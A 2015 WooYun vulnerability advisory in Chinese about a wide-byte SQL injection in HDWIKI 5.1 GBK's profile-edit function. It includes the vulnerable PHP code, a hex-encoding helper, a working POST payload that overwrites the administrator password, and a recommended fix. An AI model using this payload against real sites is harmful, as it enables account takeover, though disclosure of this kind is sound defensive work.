当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098651

漏洞标题:HDWIKI最新版Update注入可修改管理员密码(MYSQL进制技巧)

相关厂商:互动在线(北京)科技有限公司

漏洞作者: 小飞

提交时间:2015-02-27 22:45

修复时间:2015-06-02 22:47

公开时间:2015-06-02 22:47

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-27: 细节已通知厂商并且等待厂商处理中
2015-03-04: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-04-28: 细节向核心白帽子及相关领域专家公开
2015-05-08: 细节向普通白帽子公开
2015-05-18: 细节向实习白帽子公开
2015-06-02: 细节向公众公开

简要描述:

最新版HDWIKI 5.1 GBK
无视GPC
上首页吧!

详细说明:

问题出在\hdwiki\control\user.php下
最新版HDWIKI 5.1 GBK版本
HDWIKI全局过滤,但是面对宽字节注入,就容易出问题了

function doeditprofile(){
if(isset($this->post['submit'])){
$gender = intval($this->post['gender']);
$birthday = strtotime($this->post['birthday']);
$location = $this->post['location'];
$signature = $this->post['signature'];
if (WIKI_CHARSET == 'GBK'){
$location = string::hiconv($location);
$signature = string::hiconv($signature);
}
$location = htmlspecialchars($location);
$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));

$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);
}else{
if(0 == $this->user['birthday']){
$birthday = '';
}else{
$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];
$birthday = date('Y-m-d',$birthday);
}
$this->view->assign('birthday',$birthday);
//$this->view->display('editprofile');
$_ENV['block']->view('editprofile');
}
}


关键代码是

$location = string::hiconv($location);
$signature = string::hiconv($signature);
}
$location = htmlspecialchars($location);
$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));


HDWIKI在大部分编码转换之后的地方都会addslashes
这里我们跟进这个函数set_profile()

function set_profile($gender,$birthday,$location,$signature,$uid){
$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");


进入mysql前并没有进行addslashes
而且我们有$location,$signature
思路是让location引入\注释后面的单引号 由signature来注入
由于没有开display_error ,我们延时看看

dsa.png


我们就能盲注查询管理员密码
但是有时候密码是破不出来的,怎么办呢
我们其实可以替换管理员密码
先说说HDWKI的表构造
由于管理员和普通的账号都存储在wiki_user下,所以这里由于是update的是这个表
但是问题来了
我们引入password的时候 格式一般都是

password='b5ebc89058e80ef0189090a0390109e4'


但是这里是无法引入单引号的(会被addslashes),而不打单引号又会被当成表名,不被识别为value。
这里用要一个小技巧
MYSQL对十六进制是能够自动识别 转换的。
比如

wadasd.png


这样我们就能绕过单引号而update管理员密码了
我们先本地用脚本转换ascii为hex

<?php 
echo bin2hex($_GET[a]);
?>


然后向http://localhost/hdwiki/index.php?user-editprofile
post

gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true


成功修改密码

yes.png


漏洞证明:

我们延时看看

dsa.png


成功修改密码

yes.png


修复方案:

set_profile函数里 查询前先addslashes

版权声明:转载请注明来源 小飞@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-02 22:47

厂商回复:

最新状态:

暂无